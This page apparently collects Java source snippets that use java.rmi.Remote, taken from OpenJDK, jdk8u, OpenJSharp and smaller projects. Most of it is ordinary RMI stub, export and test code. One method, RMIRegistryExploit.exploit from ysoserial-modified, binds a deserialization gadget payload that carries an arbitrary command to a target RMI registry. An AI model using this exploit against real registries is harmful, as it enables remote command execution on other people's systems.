Java 类java.rmi.Remote 实例源码

项目:lams    文件:RmiClientInterceptor.java   
/**
 * Fetches RMI stub on startup, if necessary.
 * @throws RemoteLookupFailureException if RMI stub creation failed
 * @see #setLookupStubOnStartup
 * @see #lookupStub
 */
public void prepare() throws RemoteLookupFailureException {
    // Cache RMI stub on initialization?
    if (this.lookupStubOnStartup) {
        Remote remoteObj = lookupStub();
        if (logger.isDebugEnabled()) {
            if (remoteObj instanceof RmiInvocationHandler) {
                logger.debug("RMI stub [" + getServiceUrl() + "] is an RMI invoker");
            }
            else if (getServiceInterface() != null) {
                boolean isImpl = getServiceInterface().isInstance(remoteObj);
                logger.debug("Using service interface [" + getServiceInterface().getName() +
                    "] for RMI stub [" + getServiceUrl() + "] - " +
                    (!isImpl ? "not " : "") + "directly implemented");
            }
        }
        if (this.cacheStub) {
            this.cachedStub = remoteObj;
        }
    }
}
项目:openjdk-jdk10    文件:UnicastServerRef.java   
/**
 * Discovers and sets the appropriate skeleton for the impl.
 */
public void setSkeleton(Remote impl) throws RemoteException {
    if (!withoutSkeletons.containsKey(impl.getClass())) {
        try {
            skel = Util.createSkeleton(impl);
        } catch (SkeletonNotFoundException e) {
            /*
             * Ignore exception for skeleton class not found, because a
             * skeleton class is not necessary with the 1.2 stub protocol.
             * Remember that this impl's class does not have a skeleton
             * class so we don't waste time searching for it again.
             */
            withoutSkeletons.put(impl.getClass(), null);
        }
    }
}
项目:ysoserial-modified    文件:RMIRegistryExploit.java   
public static void exploit(final Registry registry,
        final Class<? extends ObjectPayload> payloadClass,
        final String command) throws Exception {
    new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
        ObjectPayload payloadObj = payloadClass.newInstance();
        CmdExecuteHelper cmdHelper = new CmdExecuteHelper("none", command);
           Object payload = payloadObj.getObject(cmdHelper);
        String name = "pwned" + System.nanoTime();
        Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
        try {
            registry.bind(name, remote);
        } catch (Throwable e) {
            e.printStackTrace();
        }
        Utils.releasePayload(payloadObj, payload);
        return null;
    }});
}
项目:Proyecto-DASI    文件:AdaptadorRegRMI.java   
public static Remote getRemoteEntityFromHost(String host, int puerto, String identEntity) throws java.rmi.RemoteException {
        Registry regCliente = LocateRegistry.getRegistry(host, puerto);
        Object remoteEntity = null;
//        ItfUsoRecursoTrazas trazas = Directorio.getRecursoTrazas();
        try {
            if (regCliente == null) {
//                System.err.println("buscarAgenteRemoto regCliente == null");
//                if (trazas != null)
                trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI", " No se puede obtener la entidad : "+
                        identEntity + " No se consigue encontrar el  registro RMI del Host :" + host + " puerto:" + puerto, NivelTraza.debug));
            }
            return  regCliente.lookup(identEntity);

        } catch (Exception ex) {
            System.err.println("Fallo buscaAgenteRemoto\n"+ ex.getMessage());
            trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI", " No se puede obtener la entidad : "+
                      identEntity + " No se consigue encontrar el  registro RMI del Host :" + host + " puerto:"+ puerto , NivelTraza.debug));
//            Logger.getLogger(ComunicacionAgentes.class.getName()).log(Level.SEVERE, null, ex);
            return null;
        }
    }
项目:Proyecto-DASI    文件:AdaptadorRegRMI.java   
public static Remote getRemoteEntityFromRegistryRMIOg(String identEntity){

        try {
       if ( registroRMIOrganizacion != null )
                     return registroRMIOrganizacion.lookup(identEntity);
         else registroRMIOrganizacion = getRegistroRMIOrganizacion();
        if ( registroRMIOrganizacion != null )
                    return registroRMIOrganizacion.lookup(identEntity);

                   trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI", "No consigo encontrar el registro de la organizacion : "+
                        identEntity , NivelTraza.debug));
             }catch(Exception ex) {
            System.err.println("Fallo buscaAgenteRemoto\n"+ ex.getMessage());

            trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI", "Error en la busqueda en el registro de la organizacion. No puedo encontrar  :  "+
                        identEntity + "\n Revisar la descripcion de la organizacion", NivelTraza.error));
//            Logger.getLogger(ComunicacionAgentes.class.getName()).log(Level.SEVERE, null, ex);
                return null;
            }
        return null;
    }
项目:Proyecto-DASI    文件:AdaptadorRegRMI.java   
public static Remote getRemoteEntityFromLocalRegistryRMI(String identEntity){

        try {
       if ( registroRMILocal != null )
                     return registroRMILocal.lookup(identEntity);
         else registroRMILocal = getRegistroRMInodoLocal();
        if ( registroRMILocal != null )
                    return registroRMILocal.lookup(identEntity);

                   trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI", "No consigo encontrar el registro Local : "+
                        identEntity , NivelTraza.debug));
             }catch(Exception ex) {
            System.err.println("Fallo buscaAgenteRemoto\n"+ ex.getMessage());

            trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI", "Error en la busqueda en el registro Local. No puedo encontrar  :  "+
                        identEntity , NivelTraza.debug));
//            Logger.getLogger(ComunicacionAgentes.class.getName()).log(Level.SEVERE, null, ex);
                return null;
            }
        return null;
    }
项目:OpenJSharp    文件:UnicastServerRef.java   
/**
 * Discovers and sets the appropriate skeleton for the impl.
 */
public void setSkeleton(Remote impl) throws RemoteException {
    if (!withoutSkeletons.containsKey(impl.getClass())) {
        try {
            skel = Util.createSkeleton(impl);
        } catch (SkeletonNotFoundException e) {
            /*
             * Ignore exception for skeleton class not found, because a
             * skeleton class is not necessary with the 1.2 stub protocol.
             * Remember that this impl's class does not have a skeleton
             * class so we don't waste time searching for it again.
             */
            withoutSkeletons.put(impl.getClass(), null);
        }
    }
}
项目:jdk8u-jdk    文件:ObjectTable.java   
/**
 * Remove the remote object, obj, from the RMI runtime. If
 * successful, the object can no longer accept incoming RMI calls.
 * If the force parameter is true, the object is forcibly unexported
 * even if there are pending calls to the remote object or the
 * remote object still has calls in progress.  If the force
 * parameter is false, the object is only unexported if there are
 * no pending or in progress calls to the object.
 *
 * @param obj the remote object to be unexported
 * @param force if true, unexports the object even if there are
 * pending or in-progress calls; if false, only unexports the object
 * if there are no pending or in-progress calls
 * @return true if operation is successful, false otherwise
 * @exception NoSuchObjectException if the remote object is not
 * currently exported
 */
public static boolean unexportObject(Remote obj, boolean force)
     throws java.rmi.NoSuchObjectException
 {
     synchronized (tableLock) {
         Target target = getTarget(obj);
         if (target == null) {
             throw new NoSuchObjectException("object not exported");
         } else {
             if (target.unexport(force)) {
                 removeTarget(target);
                 return true;
             } else {
                 return false;
             }
         }
     }
 }
项目:openjdk-jdk10    文件:Util.java   
/**
 * Fills the given array list with the remote interfaces implemented
 * by the given class.
 *
 * @throws  IllegalArgumentException if the specified class implements
 *          any illegal remote interfaces
 * @throws  NullPointerException if the specified class or list is null
 */
private static void getRemoteInterfaces(ArrayList<Class<?>> list, Class<?> cl) {
    Class<?> superclass = cl.getSuperclass();
    if (superclass != null) {
        getRemoteInterfaces(list, superclass);
    }

    Class<?>[] interfaces = cl.getInterfaces();
    for (int i = 0; i < interfaces.length; i++) {
        Class<?> intf = interfaces[i];
        /*
         * If it is a remote interface (if it extends from
         * java.rmi.Remote) and is not already in the list,
         * then add the interface to the list.
         */
        if (Remote.class.isAssignableFrom(intf)) {
            if (!(list.contains(intf))) {
                Method[] methods = intf.getMethods();
                for (int j = 0; j < methods.length; j++) {
                    checkMethod(methods[j]);
                }
                list.add(intf);
            }
        }
    }
}
项目:openjdk-jdk10    文件:Util.java   
/**
 * Registers a target for a tie. Adds the tie to an internal table and calls
 * {@link Tie#setTarget} on the tie object.
 * @param tie the tie to register.
 * @param target the target for the tie.
 */
public void registerTarget(javax.rmi.CORBA.Tie tie, java.rmi.Remote target)
{
    synchronized (exportedServants) {
        // Do we already have this target registered?
        if (lookupTie(target) == null) {
            // No, so register it and set the target...
            exportedServants.put(target,tie);
            tie.setTarget(target);

            // Do we need to instantiate our keep-alive thread?
            if (keepAlive == null) {
                // Yes. Instantiate our keep-alive thread and start
                // it up...
                keepAlive = (KeepAlive)AccessController.doPrivileged(new PrivilegedAction() {
                    public java.lang.Object run() {
                        return new KeepAlive();
                    }
                });
                keepAlive.start();
            }
        }
    }
}
项目:openjdk-jdk10    文件:Activation.java   
synchronized MarshalledObject<? extends Remote>
    activate(ActivationID id,
             boolean force,
             ActivationInstantiator inst)
    throws RemoteException, ActivationException
{
    MarshalledObject<? extends Remote> nstub = stub;
    if (removed) {
        throw new UnknownObjectException("object removed");
    } else if (!force && nstub != null) {
        return nstub;
    }

    nstub = inst.newInstance(id, desc);
    stub = nstub;
    /*
     * stub could be set to null by a group reset, so return
     * the newstub here to prevent returning null.
     */
    return nstub;
}
项目:OpenJSharp    文件:ObjectTable.java   
/**
 * Remove the remote object, obj, from the RMI runtime. If
 * successful, the object can no longer accept incoming RMI calls.
 * If the force parameter is true, the object is forcibly unexported
 * even if there are pending calls to the remote object or the
 * remote object still has calls in progress.  If the force
 * parameter is false, the object is only unexported if there are
 * no pending or in progress calls to the object.
 *
 * @param obj the remote object to be unexported
 * @param force if true, unexports the object even if there are
 * pending or in-progress calls; if false, only unexports the object
 * if there are no pending or in-progress calls
 * @return true if operation is successful, false otherwise
 * @exception NoSuchObjectException if the remote object is not
 * currently exported
 */
public static boolean unexportObject(Remote obj, boolean force)
     throws java.rmi.NoSuchObjectException
 {
     synchronized (tableLock) {
         Target target = getTarget(obj);
         if (target == null) {
             throw new NoSuchObjectException("object not exported");
         } else {
             if (target.unexport(force)) {
                 removeTarget(target);
                 return true;
             } else {
                 return false;
             }
         }
     }
 }
项目:OpenJSharp    文件:Util.java   
/**
 * Fills the given array list with the remote interfaces implemented
 * by the given class.
 *
 * @throws  IllegalArgumentException if the specified class implements
 *          any illegal remote interfaces
 * @throws  NullPointerException if the specified class or list is null
 */
private static void getRemoteInterfaces(ArrayList<Class<?>> list, Class<?> cl) {
    Class<?> superclass = cl.getSuperclass();
    if (superclass != null) {
        getRemoteInterfaces(list, superclass);
    }

    Class<?>[] interfaces = cl.getInterfaces();
    for (int i = 0; i < interfaces.length; i++) {
        Class<?> intf = interfaces[i];
        /*
         * If it is a remote interface (if it extends from
         * java.rmi.Remote) and is not already in the list,
         * then add the interface to the list.
         */
        if (Remote.class.isAssignableFrom(intf)) {
            if (!(list.contains(intf))) {
                Method[] methods = intf.getMethods();
                for (int j = 0; j < methods.length; j++) {
                    checkMethod(methods[j]);
                }
                list.add(intf);
            }
        }
    }
}
项目:openjdk-jdk10    文件:PortableRemoteObject.java   
/**
 * Deregisters a server object from the runtime, allowing the object to become
 * available for garbage collection.
 * @param obj the object to unexport.
 * @exception NoSuchObjectException if the remote object is not
 * currently exported.
 */
public void unexportObject(Remote obj)
    throws NoSuchObjectException {

    if (obj == null) {
        throw new NullPointerException("invalid argument");
    }

    if (StubAdapter.isStub(obj) ||
        obj instanceof java.rmi.server.RemoteStub) {
        throw new NoSuchObjectException(
            "Can only unexport a server object.");
    }

    Tie theTie = Util.getTie(obj);
    if (theTie != null) {
        Util.unexportObject(obj);
    } else {
        if (Utility.loadTie(obj) == null) {
            UnicastRemoteObject.unexportObject(obj,true);
        } else {
            throw new NoSuchObjectException("Object not exported.");
        }
    }
}
项目:openjdk-jdk10    文件:RemoteToCorba.java   
/**
 * Returns the CORBA object for a Remote object.
 * If input is not a Remote object, or if Remote object uses JRMP, return null.
 * If the RMI-IIOP library is not available, throw ConfigurationException.
 *
 * @param orig The object to turn into a CORBA object. If not Remote,
 *             or if is a JRMP stub or impl, return null.
 * @param name Ignored
 * @param ctx The non-null CNCtx whose ORB to use.
 * @param env Ignored
 * @return The CORBA object for {@code orig} or null.
 * @exception ConfigurationException If the CORBA object cannot be obtained
 *    due to configuration problems, for instance, if RMI-IIOP not available.
 * @exception NamingException If some other problem prevented a CORBA
 *    object from being obtained from the Remote object.
 */
public Object getStateToBind(Object orig, Name name, Context ctx,
    Hashtable<?,?> env) throws NamingException {
    if (orig instanceof org.omg.CORBA.Object) {
        // Already a CORBA object, just use it
        return null;
    }

    if (orig instanceof Remote) {
        // Turn remote object into org.omg.CORBA.Object
        // Returns null if JRMP; let next factory try
        // CNCtx will eventually throw IllegalArgumentException if
        // no CORBA object gotten
        return CorbaUtils.remoteToCorba((Remote)orig, ((CNCtx)ctx)._orb);
    }
    return null; // pass and let next state factory try
}
项目:OpenJSharp    文件:Activation.java   
synchronized MarshalledObject<? extends Remote>
    activate(ActivationID id,
             boolean force,
             ActivationInstantiator inst)
    throws RemoteException, ActivationException
{
    MarshalledObject<? extends Remote> nstub = stub;
    if (removed) {
        throw new UnknownObjectException("object removed");
    } else if (!force && nstub != null) {
        return nstub;
    }

    nstub = inst.newInstance(id, desc);
    stub = nstub;
    /*
     * stub could be set to null by a group reset, so return
     * the newstub here to prevent returning null.
     */
    return nstub;
}
项目:openjdk-jdk10    文件:SelfTerminator.java   
public static void main(String[] args) {
    try {
        int registryPort =
            Integer.parseInt(System.getProperty("rmi.registry.port"));
        Registry registry =
            LocateRegistry.getRegistry("", registryPort);
        Remote stub = registry.lookup(LeaseCheckInterval.BINDING);
        Runtime.getRuntime().halt(0);
    } catch (Exception e) {
        e.printStackTrace();
    }
}
项目:openjdk-jdk10    文件:UnicastServerRef.java   
/**
 * Handle server-side dispatch using the RMI 1.1 stub/skeleton
 * protocol, given a non-negative operation number that has
 * already been read from the call stream.
 * Exceptions are handled by the caller to be sent to the remote client.
 *
 * @param obj the target remote object for the call
 * @param call the "remote call" from which operation and
 * method arguments can be obtained.
 * @param op the operation number
 * @throws Exception if unable to marshal return result or
 * release input or output streams
 */
private void oldDispatch(Remote obj, RemoteCall call, int op)
    throws Exception
{
    long hash;              // hash for matching stub with skeleton

    // read remote call header
    ObjectInput in;
    in = call.getInputStream();
    try {
        Class<?> clazz = Class.forName("sun.rmi.transport.DGCImpl_Skel");
        if (clazz.isAssignableFrom(skel.getClass())) {
            ((MarshalInputStream)in).useCodebaseOnly();
        }
    } catch (ClassNotFoundException ignore) { }

    try {
        hash = in.readLong();
    } catch (Exception ioe) {
        throw new UnmarshalException("error unmarshalling call header", ioe);
    }

    // if calls are being logged, write out object id and operation
    logCall(obj, skel.getOperations()[op]);
    unmarshalCustomCallData(in);
    // dispatch to skeleton for remote object
    skel.dispatch(obj, call, op, hash);
}
项目:jdk8u-jdk    文件:UnrecognizedRefType.java   
public Object invoke(Remote obj,
                     Method method,
                     Object[] params,
                     long opnum)
{
    throw new UnsupportedOperationException();
}
项目:jdk8u-jdk    文件:Target.java   
/**
 * Construct a Target for a remote object "impl" with
 * a specific object id.
 *
 * If "permanent" is true, then the impl is pinned permanently
 * (the impl will not be collected via distributed and/or local
 * GC).  If "on" is false, than the impl is subject to
 * collection. Permanent objects do not keep a server from
 * exiting.
 */
public Target(Remote impl, Dispatcher disp, Remote stub, ObjID id,
              boolean permanent)
{
    this.weakImpl = new WeakRef(impl, ObjectTable.reapQueue);
    this.disp = disp;
    this.stub = stub;
    this.id = id;
    this.acc = AccessController.getContext();

    /*
     * Fix for 4149366: so that downloaded parameter types unmarshalled
     * for this impl will be compatible with types known only to the
     * impl class's class loader (when it's not identical to the
     * exporting thread's context class loader), mark the impl's class
     * loader as the loader to use as the context class loader in the
     * server's dispatch thread while a call to this impl is being
     * processed (unless this exporting thread's context class loader is
     * a child of the impl's class loader, such as when a registry is
     * exported by an application, in which case this thread's context
     * class loader is preferred).
     */
    ClassLoader threadContextLoader =
        Thread.currentThread().getContextClassLoader();
    ClassLoader serverLoader = impl.getClass().getClassLoader();
    if (checkLoaderAncestry(threadContextLoader, serverLoader)) {
        this.ccl = threadContextLoader;
    } else {
        this.ccl = serverLoader;
    }

    this.permanent = permanent;
    if (permanent) {
        pinImpl();
    }
}
项目:openjdk-jdk10    文件:Util.java   
/**
 * Returns the tie (if any) for a given target object.
 * @return the tie or null if no tie is registered for the given target.
 */
public static Tie getTie (Remote target) {

    if (utilDelegate != null) {
        return utilDelegate.getTie(target);
    }
    return null;
}
项目:Proyecto-DASI    文件:AdaptadorRegRMI.java   
public static boolean addElement2RegRMI(String identHost, String element, Remote obj) {
//      String registroAqSeAgnade = "registroRMIOrganizacion"  ;
      try {
            if (identHost !=null  ){
                     Registry identHostRegistry = LocateRegistry.getRegistry(identHost);
                     if (identHostRegistry != null){
                         identHostRegistry.rebind(element, obj);
                        logger.error("Se añade la interfaz : " +element +  " en el registro del  nodo --: "+identHost   );
                        trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI",
                        "Se añade la interfaz : " +element +  " en el registro del  nodo --: "+identHost   ,
                        InfoTraza.NivelTraza.debug));
                        return true;
                    }else{ // No se ha podido obtener un registro RMI para ese host
                            logger.error("Error al  obtener el RMI registro del host --: "+ identHost + " Es posible que no se haya creado: Revisar la descripcion de la organizacion" );
                            trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI",
                        "Error al  obtener el RMI registro del host-- "+ identHost + "-- Es posible que no se haya creado: Revisar la descripcion de la organizacion" ,
                        InfoTraza.NivelTraza.debug));

                    }
            }
            return false;
      } catch (Exception e) {
            logger.error("Error al añadir un elemento en el registro RMI del host --: "+ identHost + " Es posible que no se haya creado: Revisar la descripcion de la organizacion" );
            trazas.aceptaNuevaTraza(new InfoTraza("AdaptadorRegRMI",
                        "Error al añadir un elemento en el registro RMI del host -- "+ identHost + "-- Es posible que no se haya creado: Revisar la descripcion de la organizacion" ,
                        InfoTraza.NivelTraza.error));
               return false;
            }
        }
项目:openjdk-jdk10    文件:RMIJRMPServerImpl.java   
private void unexport(Remote obj, boolean force)
        throws NoSuchObjectException {
    RMIExporter exporter =
        (RMIExporter) env.get(RMIExporter.EXPORTER_ATTRIBUTE);
    if (exporter == null)
        UnicastRemoteObject.unexportObject(obj, force);
    else
        exporter.unexportObject(obj, force);
}
项目:openjdk-jdk10    文件:PortableRemoteObject.java   
/**
 * Returns a stub for the given server object.
 * @param obj the server object for which a stub is required. Must either be a subclass
 * of PortableRemoteObject or have been previously the target of a call to
 * {@link #exportObject}.
 * @return the most derived stub for the object.
 * @exception NoSuchObjectException if a stub cannot be located for the given server object.
 */
public static Remote toStub (Remote obj)
    throws NoSuchObjectException {

    if (proDelegate != null) {
        return proDelegate.toStub(obj);
    }
    return null;
}
项目:openjdk-jdk10    文件:StubFactoryFactoryDynamicBase.java   
public PresentationManager.StubFactory createStubFactory(
    String className, boolean isIDLStub, String remoteCodeBase,
    Class expectedClass, ClassLoader classLoader)
{
    Class cls = null ;

    try {
        cls = Util.loadClass( className, remoteCodeBase, classLoader ) ;
    } catch (ClassNotFoundException exc) {
        throw wrapper.classNotFound3(
            CompletionStatus.COMPLETED_MAYBE, exc, className ) ;
    }

    PresentationManager pm = ORB.getPresentationManager() ;

    if (IDLEntity.class.isAssignableFrom( cls ) &&
        !Remote.class.isAssignableFrom( cls )) {
        // IDL stubs must always use static factories.
        PresentationManager.StubFactoryFactory sff =
            pm.getStubFactoryFactory( false ) ;
        PresentationManager.StubFactory sf =
            sff.createStubFactory( className, true, remoteCodeBase,
                expectedClass, classLoader ) ;
        return sf ;
    } else {
        PresentationManager.ClassData classData = pm.getClassData( cls ) ;
        return makeDynamicStubFactory( pm, classData, classLoader ) ;
    }
}
项目:openjdk-jdk10    文件:MarshalAfterUnexport.java   
public static void main(String[] args) throws Exception {
    Remote impl2 = null;
    try {
        Remote impl = new MarshalAfterUnexport();
        System.err.println("created impl extending URO: " + impl);

        Receiver stub = (Receiver) RemoteObject.toStub(impl);
        System.err.println("stub for impl: " + stub);

        UnicastRemoteObject.unexportObject(impl, true);
        System.err.println("unexported impl");

        impl2 = new MarshalAfterUnexport();
        Receiver stub2 = (Receiver) RemoteObject.toStub(impl2);

        System.err.println("marshalling unexported object:");
        MarshalledObject mobj = new MarshalledObject(impl);

        System.err.println("passing unexported object via RMI-JRMP:");
        stub2.receive(stub);

        System.err.println("TEST PASSED");
    } finally {
        if (impl2 != null) {
            try {
                UnicastRemoteObject.unexportObject(impl2, true);
            } catch (Throwable t) {
            }
        }
    }
}
项目:Proyecto-DASI    文件:AdaptadorRegRMI.java   
public static InterfazGestion getItfGestionEntidadRemota(String identHost, String identEntity) throws RemoteException, NotBoundException {
            Registry regCliente = LocateRegistry.getRegistry(identHost);
            InterfazGestion itfGesagenteRemoto = null;
            if (regCliente == null) return null;
             Remote  objInRegistry =  regCliente.lookup(NombresPredefinidos.ITF_GESTION+identEntity);
             if (objInRegistry != null) itfGesagenteRemoto = (InterfazGestion) objInRegistry;
            return itfGesagenteRemoto;

//        return (InterfazGestion)regCliente.lookup(NombresPredefinidos.ITF_GESTION+identEntity);
    }
项目:Proyecto-DASI    文件:AdaptadorRegRMI.java   
public static Remote getItfUsoRecursoRemoto(String identHost, String nombreRecurso) throws RemoteException, NotBoundException {
            Registry regCliente = LocateRegistry.getRegistry(identHost);
            InterfazGestion agenteRemoto = null;
            if (regCliente == null) return null;
         else
//            agenteRemoto = (ItfUsoAgenteReactivo) regCliente.lookup(nombreAgente);
//            return agenteRemoto;
//        }
        return regCliente.lookup(NombresPredefinidos.ITF_USO+nombreRecurso);
    }
项目:jdk8u-jdk    文件:BenchServerImpl.java   
/**
 * Uses the given remote object factory to create a new remote object on
 * the server side.
 */
public Remote create(BenchServer.RemoteObjectFactory factory)
    throws RemoteException
{
    Remote impl = factory.create();
    implTable.put(RemoteObject.toStub(impl), new WeakReference(impl));
    return impl;
}
项目:OpenJSharp    文件:PortableRemoteObject.java   
/**
 * Returns a stub for the given server object.
 * @param obj the server object for which a stub is required. Must either be a subclass
 * of PortableRemoteObject or have been previously the target of a call to
 * {@link #exportObject}.
 * @return the most derived stub for the object.
 * @exception NoSuchObjectException if a stub cannot be located for the given server object.
 */
public Remote toStub (Remote obj)
    throws NoSuchObjectException
{
    Remote result = null;
    if (obj == null) {
        throw new NullPointerException("invalid argument");
    }

    // If the class is already an IIOP stub then return it.
    if (StubAdapter.isStub( obj )) {
        return obj;
    }

    // If the class is already a JRMP stub then return it.
    if (obj instanceof java.rmi.server.RemoteStub) {
        return obj;
    }

    // Has it been exported to IIOP?
    Tie theTie = Util.getTie(obj);

    if (theTie != null) {
        result = Utility.loadStub(theTie,null,null,true);
    } else {
        if (Utility.loadTie(obj) == null) {
            result = java.rmi.server.RemoteObject.toStub(obj);
        }
    }

    if (result == null) {
        throw new NoSuchObjectException("object not exported");
    }

    return result;
}
项目:jdk8u-jdk    文件:ChangeHostName.java   
public static void main(String[] args) throws Exception {

        InetAddress localAddress = InetAddress.getLocalHost();
        String[] hostlist = new String[] {
            localAddress.getHostAddress(), localAddress.getHostName() };

        for (int i = 0; i < hostlist.length; i++) {

            System.setProperty("java.rmi.server.hostname", hostlist[i]);
            Remote impl = new ChangeHostName();
            System.err.println("\ncreated impl extending URO: " + impl);

            Receiver stub = (Receiver) RemoteObject.toStub(impl);
            System.err.println("stub for impl: " + stub);

            System.err.println("invoking method on stub");
            stub.receive(stub);

            UnicastRemoteObject.unexportObject(impl, true);
            System.err.println("unexported impl");

            if (stub.toString().indexOf(hostlist[i]) >= 0) {
                System.err.println("stub's ref contains hostname: " +
                                   hostlist[i]);
            } else {
                throw new RuntimeException(
                    "TEST FAILED: stub's ref doesn't contain hostname: " +
                    hostlist[i]);
            }
        }
        System.err.println("TEST PASSED");
    }
项目:jdk8u-jdk    文件:ReuseDefaultPort.java   
public static void main(String[] args) throws Exception {
    System.err.println("\nRegression test for bug 6269166\n");
    RMISocketFactory.setSocketFactory(new SF());
    Remote impl = new ReuseDefaultPort();
    Remote stub = UnicastRemoteObject.exportObject(impl, 0);
    System.err.println("- exported object: " + stub);
    try {
        Registry registry = LocateRegistry.createRegistry(PORT);
        System.err.println("- exported registry: " + registry);
        System.err.println("TEST PASSED");
    } finally {
        UnicastRemoteObject.unexportObject(impl, true);
    }
}
项目:OpenJSharp    文件:Util.java   
/**
 * Returns the tie (if any) for a given target object.
 * @return the tie or null if no tie is registered for the given target.
 */
public Tie getTie (Remote target)
{
    synchronized (exportedServants) {
        return lookupTie(target);
    }
}
项目:openjdk-jdk10    文件:MarshalOutputStream.java   
/**
 * Checks for objects that are instances of java.rmi.Remote
 * that need to be serialized as proxy objects.
 */
@SuppressWarnings("deprecation")
protected final Object replaceObject(Object obj) throws IOException {
    if ((obj instanceof Remote) && !(obj instanceof RemoteStub)) {
        Target target = ObjectTable.getTarget((Remote) obj);
        if (target != null) {
            return target.getStub();
        }
    }
    return obj;
}
项目:OpenJSharp    文件:ReflectiveTie.java   
public void setTarget(Remote target)
{
    this.target = target;

    if (target == null) {
        classData = null ;
    } else {
        Class targetClass = target.getClass() ;
        classData = pm.getClassData( targetClass ) ;
    }
}
项目:jdk8u-jdk    文件:Activatable.java   
/**
 * Exports the specified object using the specified server ref.
 */
private static Remote exportObject(Remote obj, ActivatableServerRef sref)
    throws RemoteException
{
    // if obj extends Activatable, set its ref.
    if (obj instanceof Activatable) {
        ((Activatable) obj).ref = sref;

    }
    return sref.exportObject(obj, null, false);
}
项目:openjdk-jdk10    文件:TestLibrary.java   
/** routine to unexport an object */
public static void unexport(Remote obj) {
    if (obj != null) {
        try {
            mesg("unexporting object...");
            UnicastRemoteObject.unexportObject(obj, true);
        } catch (NoSuchObjectException munch) {
        } catch (Exception e) {
            e.getMessage();
            e.printStackTrace();
        }
    }
}
项目:jdk8u-jdk    文件:RemoteObject.java   
/**
 * Returns the stub for the remote object <code>obj</code> passed
 * as a parameter. This operation is only valid <i>after</i>
 * the object has been exported.
 * @param obj the remote object whose stub is needed
 * @return the stub for the remote object, <code>obj</code>.
 * @exception NoSuchObjectException if the stub for the
 * remote object could not be found.
 * @since 1.2
 */
public static Remote toStub(Remote obj) throws NoSuchObjectException {
    if (obj instanceof RemoteStub ||
        (obj != null &&
         Proxy.isProxyClass(obj.getClass()) &&
         Proxy.getInvocationHandler(obj) instanceof
         RemoteObjectInvocationHandler))
    {
        return obj;
    } else {
        return sun.rmi.transport.ObjectTable.getStub(obj);
    }
}
项目:OpenJSharp    文件:PortableRemoteObject.java   
/**
 * Makes a server object ready to receive remote calls. Note
 * that subclasses of PortableRemoteObject do not need to call this
 * method, as it is called by the constructor.
 * @param obj the server object to export.
 * @exception RemoteException if export fails.
 */
public static void exportObject(Remote obj)
    throws RemoteException {

    // Let the delegate do everything, including error handling.
    if (proDelegate != null) {
        proDelegate.exportObject(obj);
    }
}
项目:jdk8u-jdk    文件:TestLibrary.java   
/** routine to unexport an object */
public static void unexport(Remote obj) {
    if (obj != null) {
        try {
            mesg("unexporting object...");
            UnicastRemoteObject.unexportObject(obj, true);
        } catch (NoSuchObjectException munch) {
        } catch (Exception e) {
            e.getMessage();
            e.printStackTrace();
        }
    }
}